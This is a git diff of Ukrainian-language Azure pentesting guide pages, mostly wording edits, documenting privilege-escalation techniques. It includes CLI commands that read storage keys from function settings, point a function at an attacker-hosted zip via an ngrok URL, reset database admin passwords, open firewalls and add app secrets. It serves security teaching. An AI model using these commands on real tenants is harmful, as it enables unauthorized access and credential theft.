+Цей дозвіл дозволяє отримати налаштування функції. Усередині цих конфігурацій може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
```bash
az functionapp config appsettings list --name --resource-group
```
@@ -193,7 +193,7 @@ az functionapp config appsettings list \
--name \
--resource-group
```
-- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно.
+- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -203,7 +203,7 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
-- Змініть функцію, зберігши попередні параметри, і додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
+- Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, тут я хостив додаток.
```bash
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group \
--output json
```
-Іншим варіантом було б встановити свої власні облікові дані та використовувати їх за допомогою:
+Інший варіант полягає в тому, щоб встановити свої власні облікові дані та використовувати їх за допомогою:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Метод SCM**
-Тоді ви можете отримати доступ за допомогою цих **базових облікових даних для аутентифікації до URL SCM** вашого функціонального додатку та отримати значення змінних середовища:
+Тоді ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища:
```bash
# Get settings values
curl -u ':' \
@@ -309,7 +309,7 @@ az rest --url "https://management.azure.com/subscriptions//reso
З цією дозволом можливо [отримати **адміністративний токен**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який можна пізніше використати для отримання **майстер-ключа** і, отже, доступу та зміни коду функції.
-Однак, під час моїх останніх перевірок жоден токен не був повернутий, тому він може бути вимкнений або більше не працювати, але ось як ви б це зробили:
+Однак, під час моїх останніх перевірок токен не був повернутий, тому він може бути вимкнений або більше не працювати, але ось як ви б це зробили:
```bash
# Get admin token
az rest --method GET \
@@ -335,7 +335,7 @@ az rest --url "https://management.azure.com/subscriptions//res
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
-З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер azure function app на docker hub (наприклад) і змусити функцію виконати його.
+З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його.
```bash
az functionapp config container set --name \
--resource-group \
@@ -343,18 +343,18 @@ az functionapp config container set --name \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
-З цими дозволами можливо **прикріпити нову керовану користувачем ідентичність до функції**. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої користувачем ідентичності.
+З цими дозволами можливо **прикріпити нову керовану ідентичність користувача до функції**. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої ідентичності користувача.
```bash
az functionapp identity assign \
--name \
--resource-group \
--identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/
```
-### Віддалене налагодження
+### Remote Debugging
Також можливо підключитися для налагодження працюючої Azure функції, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
-Можливо перевірити, чи увімкнено налагодження для функції за допомогою:
+Можливо перевірити, чи має функція увімкнене налагодження за допомогою:
```bash
az functionapp show --name --resource-group
```
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index 8e110b8f1..43f2589b7 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -29,4 +29,14 @@ az keyvault set-policy \
--certificate-permissions all \
--storage-permissions all
```
+### Modify Network Restrictions
+
+Можливо, у вас є достатні дозволи для доступу до чутливих даних (наприклад, значення секрету), але ви не можете отримати до них доступ, оскільки ключовий сховище обмежене певною мережею. Якщо у вас є дозвіл на зміну мережевих обмежень, ви можете додати свою IP-адресу до списку дозволених IP-адрес.
+```bash
+# Get the current network restrictions
+az keyvault network-rule list --name
+
+# Add your IP to the list
+az keyvault network-rule add --name --ip-address
+```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
index 4abce6aa7..e23ad258c 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -11,7 +11,7 @@
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
-З цією дозволом ви можете створювати, оновлювати або видаляти екземпляри PostgreSQL Flexible Server на Azure. Це включає в себе постачання нових серверів, модифікацію конфігурацій існуючих серверів або виведення серверів з експлуатації.
+З цим дозволом ви можете створювати, оновлювати або видаляти екземпляри PostgreSQL Flexible Server на Azure. Це включає в себе постачання нових серверів, модифікацію існуючих конфігурацій серверів або виведення серверів з експлуатації.
```bash
az postgres flexible-server create \
--name \
@@ -24,14 +24,14 @@ az postgres flexible-server create \
--tier \
--version
```
-Ці дозволи дозволяють змінювати пароль PostgreSQL, що, звичайно, корисно у випадку, якщо автентифікація PostgreSQL увімкнена.
+Наприклад, ці дозволи дозволяють змінювати пароль PostgreSQL, що, звичайно, корисно в разі, якщо автентифікація PostgreSQL увімкнена.
```bash
az postgres flexible-server update \
--resource-group \
--name \
--admin-password
```
-Крім того, необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це:
+Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це:
```bash
az postgres flexible-server update --resource-group --server-name --public-access Enabled
```
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
index 8f16e3534..3032b62e4 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
@@ -12,7 +12,7 @@
### Відправка повідомлень. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
-Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю аутентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
+Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю автентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -129,7 +129,7 @@ print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
-Якщо у вас є ці дозволи, ви можете підвищити привілеї, читаючи або створюючи спільні ключі доступу. Ці ключі дозволяють повний контроль над простором імен Service Bus, включаючи управління чергами, темами та надсиланням/отриманням повідомлень, потенційно обходячи контроль доступу на основі ролей (RBAC).
+Якщо у вас є ці дозволи, ви можете підвищити привілеї, читаючи або створюючи спільні ключі доступу. Ці ключі дозволяють повний контроль над простором імен Service Bus, включаючи управління чергами, темами та відправкою/отриманням повідомлень, потенційно обходячи контроль доступу на основі ролей (RBAC).
```bash
az servicebus namespace authorization-rule update \
--resource-group \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
index 1e6e495ec..39691ec8d 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -12,7 +12,7 @@
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
-З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним в середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть експлуатувати SQL-автентифікацію для отримання необмеженого доступу.
+З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть використовувати SQL-аутентифікацію для отримання необмеженого доступу.
```bash
# Change the server password
az sql server update \
@@ -37,7 +37,7 @@ az sql server update \
```
### `Microsoft.Sql/servers/firewallRules/write`
-Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ зловмисникам. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення латерального переміщення в середовищі шляхом відкриття чутливих ресурсів.
+Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення бічного переміщення в середовищі шляхом відкриття чутливих ресурсів.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -84,7 +84,7 @@ az sql server ad-admin create \
```
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
-З цими дозволами ви можете налаштувати та впровадити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD.
+З цими дозволами ви можете налаштувати та забезпечити "Тільки аутентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами може увімкнути або вимкнути аутентифікацію лише для Azure AD.
```bash
#Enable
az sql server azure-ad-only-auth enable \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
index a7197339c..adf7ec2eb 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
@@ -12,7 +12,7 @@
### `Microsoft.Storage/storageAccounts/listkeys/action`
-Принципал з цим дозволом зможе перерахувати (та секретні значення) **ключі доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
+Принципал з цим дозволом зможе переглядати (та секретні значення) **ключів доступу** до облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
```bash
az storage account keys list --account-name
```
@@ -54,7 +54,7 @@ az storage container immutability-policy update \
--resource-group \
--period
```
-## File shares specific privesc
+## Специфічний привілейований доступ до файлових ресурсів
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
@@ -70,7 +70,7 @@ az storage container immutability-policy update \
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
-З цим дозволенням зловмисник може створювати та оновлювати (якщо має `Microsoft.Storage/storageAccounts/localusers/read` дозволення) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значним, оскільки дозволяє зловмиснику надавати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути паролі, згенеровані Azure, та пари SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.
+З цим дозволенням зловмисник може створювати та оновлювати (якщо має дозволення `Microsoft.Storage/storageAccounts/localusers/read`) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значним, оскільки дозволяє зловмиснику надавати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути згенерованими Azure паролями та парами SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.
```bash
az storage account local-user create \
--account-name \
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index 1e0506065..2dc6be80f 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -4,9 +4,9 @@
## Основна інформація
-Azure Active Directory (Azure AD) є хмарним сервісом Microsoft для управління ідентичністю та доступом. Він є важливим для того, щоб співробітники могли входити в систему та отримувати доступ до ресурсів як всередині, так і за межами організації, включаючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD зосереджений на наданні основних ідентифікаційних послуг, зокрема **автентифікації, авторизації та управління користувачами**.
+Azure Active Directory (Azure AD) є хмарною службою Microsoft для управління ідентичністю та доступом. Вона є важливою для того, щоб співробітники могли входити в систему та отримувати доступ до ресурсів як всередині, так і за межами організації, включаючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD зосереджений на наданні основних ідентифікаційних послуг, зокрема **автентифікації, авторизації та управління користувачами**.
-Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів і надають організаціям можливість ефективно впроваджувати та забезпечувати свої політики доступу. Як основний компонент екосистеми хмарних сервісів Microsoft, Azure AD є ключовим для управління ідентичностями користувачів у хмарі.
+Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів і надають організаціям можливість ефективно впроваджувати та забезпечувати свої політики доступу. Як основний компонент екосистеми хмарних служб Microsoft, Azure AD є ключовим для управління ідентичностями користувачів у хмарі.
## Перерахування
@@ -184,7 +184,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-Коли ви **входите** через **CLI** в Azure з будь-якою програмою, ви використовуєте **Azure Application** з **тенанту**, що належить **Microsoft**. Ці програми, як ті, що ви можете створити у своєму обліковому записі, **мають ідентифікатор клієнта**. Ви **не зможете побачити всі з них** у **списках дозволених програм**, які ви можете бачити в консолі, **але вони дозволені за замовчуванням**.
+Коли ви **входите** через **CLI** в Azure з будь-якою програмою, ви використовуєте **Azure Application** з **оренди**, яка належить **Microsoft**. Ці програми, як ті, що ви можете створити у своєму обліковому записі, **мають ідентифікатор клієнта**. Ви **не зможете побачити всі з них** у **списках дозволених програм**, які ви можете побачити в консолі, **але вони дозволені за замовчуванням**.
Наприклад, **скрипт powershell**, який **автентифікує**, використовує додаток з ідентифікатором клієнта **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не з'являється в консолі, системний адміністратор може **заблокувати цю програму**, щоб користувачі не могли отримати доступ, використовуючи інструменти, які підключаються через цей додаток.
@@ -494,9 +494,9 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
-### Service Principals
+### Службові принципали
-Для отримання додаткової інформації про служби Entra ID перевірте:
+Для отримання додаткової інформації про службові принципали Entra ID перевірте:
{{#ref}}
../az-basic-information/
@@ -597,11 +597,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
-> Власник служби Principal може змінити його пароль.
+> Власник сервісного принципалу може змінити його пароль.
-Список та спроба додати секрет клієнта до кожного корпоративного додатку
+Список та спроба додати клієнтський секрет до кожного корпоративного додатку
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -800,7 +800,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
> Отже, якщо ви знайдете цей **пароль**, ви зможете отримати доступ як **сервісний принципал** **всередині** **орендаря**.\
> Зверніть увагу, що цей пароль видимий лише під час генерації (ви можете змінити його, але не зможете отримати його знову).\
> **Власник** **додатка** може **додати пароль** до нього (щоб він міг його імітувати).\
-> Вхідні дані таких сервісних принципалів **не позначаються як ризикові** і **не матимуть MFA.**
+> Вхід як ці сервісні принципали **не позначається як ризиковий** і вони **не матимуть MFA.**
Можливо знайти список загальновживаних ID додатків, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
@@ -1032,8 +1032,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> Якщо пристрій (VM) є **приєднаним до AzureAD**, користувачі з AzureAD зможуть **увійти в систему**.\
-> Більше того, якщо увійшовший користувач є **власником** пристрою, він буде **локальним адміністратором**.
+> Якщо пристрій (VM) **приєднаний до AzureAD**, користувачі з AzureAD зможуть **увійти в систему**.\
+> Більше того, якщо увійшовший користувач є **Власником** пристрою, він буде **локальним адміністратором**.
### Адміністративні одиниці
@@ -1105,7 +1105,7 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
- Вимагати обґрунтування при активації
- Вимагати інформацію про квиток при активації
- Вимагати затвердження для активації
-- Максимальний час для закінчення придатних призначень
+- Максимальний час для закінчення дії придатних призначень
- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення, коли певні дії відбуваються з цією роллю
### Політики умовного доступу
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
index edcdc2fc4..e18403ab6 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
@@ -8,22 +8,22 @@
Не існує дозволів, призначених для цього сервісу, тому немає технік підвищення привілеїв. Також немає жодного виду перерахунку.
-### Key Features
+### Ключові особливості
-**Environment**: Azure Cloud Shell забезпечує безпечне середовище, працюючи на Azure Linux, власному дистрибутиві Linux Microsoft, призначеному для хмарної інфраструктури. Усі пакети, включені до репозиторію Azure Linux, внутрішньо компілюються Microsoft для захисту від атак на ланцюг постачання.
-**Preinstalled Tools**: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакети та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list".
-**$HOME persistence**: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання. Вибір без підключення зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується. Щоб зберегти файли між сесіями, змонтуйте обліковий запис зберігання, який автоматично підключається як **$HOME\clouddrive**, з вашим **$HOME** каталогом, збереженим як файл **.img** в Azure File Share. Однак файли поза $HOME та стани машин не зберігаються. Для безпечного зберігання секретів, таких як SSH ключі, використовуйте Azure Key Vault.
-**Azure drive (Azure:)**: PowerShell в Azure Cloud Shell включає Azure drive (Azure:), що дозволяє легко навігувати по ресурсах Azure, таким як Compute, Network та Storage, використовуючи команди, схожі на файлову систему. Перейдіть до Azure drive за допомогою cd Azure: і поверніться до свого домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати команди Azure PowerShell для управління ресурсами з будь-якого диска.
-**Custom Tool Installation**: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу настройку середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію під свої специфічні потреби.
+**Середовище**: Azure Cloud Shell забезпечує безпечне середовище, працюючи на Azure Linux, власному дистрибутиві Linux Microsoft, призначеному для хмарної інфраструктури. Усі пакети, включені до репозиторію Azure Linux, внутрішньо компілюються Microsoft для захисту від атак на ланцюг постачання.
+**Попередньо встановлені інструменти**: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакети та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list".
+**$HOME збереження**: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання. Вибір без підключення зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується. Щоб зберегти файли між сесіями, змонтуйте обліковий запис зберігання, який автоматично підключається як **$HOME\clouddrive**, з вашим **$HOME** каталогом, збереженим як файл **.img** в Azure File Share. Однак файли поза $HOME та стани машин не зберігаються. Для безпечного зберігання секретів, таких як SSH ключі, використовуйте Azure Key Vault.
+**Диск Azure (Azure:)**: PowerShell в Azure Cloud Shell включає диск Azure (Azure:), що дозволяє легко навігувати по ресурсах Azure, таким як Обчислення, Мережа та Сховище, використовуючи команди, схожі на файлову систему. Перейдіть на диск Azure за допомогою cd Azure: і поверніться до свого домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати команди Azure PowerShell для управління ресурсами з будь-якого диска.
+**Встановлення користувацьких інструментів**: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу настройку середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію під свої специфічні потреби.
-## References
+## Посилання
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
-## Persistence
+## Збереження
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
index 7302356e7..f832378e5 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
@@ -4,14 +4,14 @@
## Azure CosmosDB
-**Azure Cosmos DB** - це повністю **керована NoSQL, реляційна та векторна база даних**, яка забезпечує час відповіді в одиничні мілісекунди, автоматичну масштабованість та доступність з підтримкою SLA з безпекою корпоративного рівня. Вона дозволяє швидше розробляти додатки завдяки готовій багаторегіональній розподільній системі даних, відкритим API, SDK для популярних мов та функціям бази даних AI, таким як інтегрована підтримка векторів та безшовна інтеграція з Azure AI.
+**Azure Cosmos DB** - це повністю **керована NoSQL, реляційна та векторна база даних**, яка пропонує час відповіді в одиничні мілісекунди, автоматичну масштабованість та доступність з підтримкою SLA з безпекою корпоративного рівня. Вона забезпечує швидшу розробку додатків завдяки готовій багаторегіональній розподільній системі даних, відкритим API, SDK для популярних мов та функціям бази даних AI, таким як інтегрована підтримка векторів та безшовна інтеграція з Azure AI.
Azure Cosmos DB надає кілька API бази даних для моделювання реальних даних, використовуючи документи, реляційні, ключ-значення, графові та колонові моделі даних, серед яких NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin та Table.
Одним з ключових аспектів CosmosDB є Azure Cosmos Account. **Azure Cosmos Account** є точкою входу до баз даних. Обліковий запис визначає ключові налаштування, такі як глобальний розподіл, рівні узгодженості та конкретний API, який буде використовуватися, наприклад, NoSQL. Через обліковий запис ви можете налаштувати глобальну реплікацію, щоб забезпечити доступність даних у кількох регіонах для доступу з низькою затримкою. Крім того, ви можете вибрати рівень узгодженості, який балансує між продуктивністю та точністю даних, з варіантами від сильної до остаточної узгодженості.
### NoSQL (sql)
-API NoSQL Azure Cosmos DB є документно-орієнтованим API, який використовує JSON як формат даних. Він надає синтаксис запитів, подібний до SQL, для запитів до об'єктів JSON, що робить його придатним для роботи зі структурованими та напівструктурованими даними. Точка доступу служби:
+API NoSQL Azure Cosmos DB є документно-орієнтованим API, який використовує JSON як формат даних. Він надає синтаксис запитів, подібний до SQL, для запитів до об'єктів JSON, що робить його придатним для роботи зі структурованими та напівструктурованими даними. Точка доступу сервісу:
```bash
https://.documents.azure.com:443/
```
@@ -19,7 +19,7 @@ https://.documents.azure.com:443/
У межах облікового запису ви можете створити одну або кілька баз даних, які слугують логічними групами контейнерів. База даних діє як межа для управління ресурсами та правами користувачів. Бази даних можуть або ділити виділену пропускну здатність між своїми контейнерами, або виділяти окрему пропускну здатність для індивідуальних контейнерів.
#### Контейнери
-Основною одиницею зберігання даних є контейнер, який містить JSON-документи і автоматично індексується для ефективного запиту. Контейнери еластично масштабуються і розподіляються по розділах, які визначаються ключем розділу, заданим користувачем. Ключ розділу є критично важливим для забезпечення оптимальної продуктивності та рівномірного розподілу даних. Наприклад, контейнер може зберігати дані клієнтів, з "customerId" як ключем розділу.
+Основною одиницею зберігання даних є контейнер, який містить JSON-документи і автоматично індексується для ефективного запитування. Контейнери еластично масштабуються і розподіляються по розділах, які визначаються ключем розділу, заданим користувачем. Ключ розділу є критично важливим для забезпечення оптимальної продуктивності та рівномірного розподілу даних. Наприклад, контейнер може зберігати дані клієнтів, з "customerId" як ключем розділу.
#### Перерахування
diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
index 1758e608d..95180fa10 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
@@ -4,7 +4,7 @@
## Основна інформація
-**Azure Files** - це повністю керована служба зберігання файлів у хмарі, яка надає спільне зберігання файлів, доступне через стандартні протоколи **SMB (Server Message Block)** та **NFS (Network File System)**. Хоча основним протоколом є SMB, спільні файли Azure не підтримуються для Windows (згідно з [**документацією**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Це дозволяє створювати високодоступні мережеві спільні файли, до яких можуть одночасно отримувати доступ кілька віртуальних машин (VM) або локальних систем, що забезпечує безперешкодний обмін файлами між середовищами.
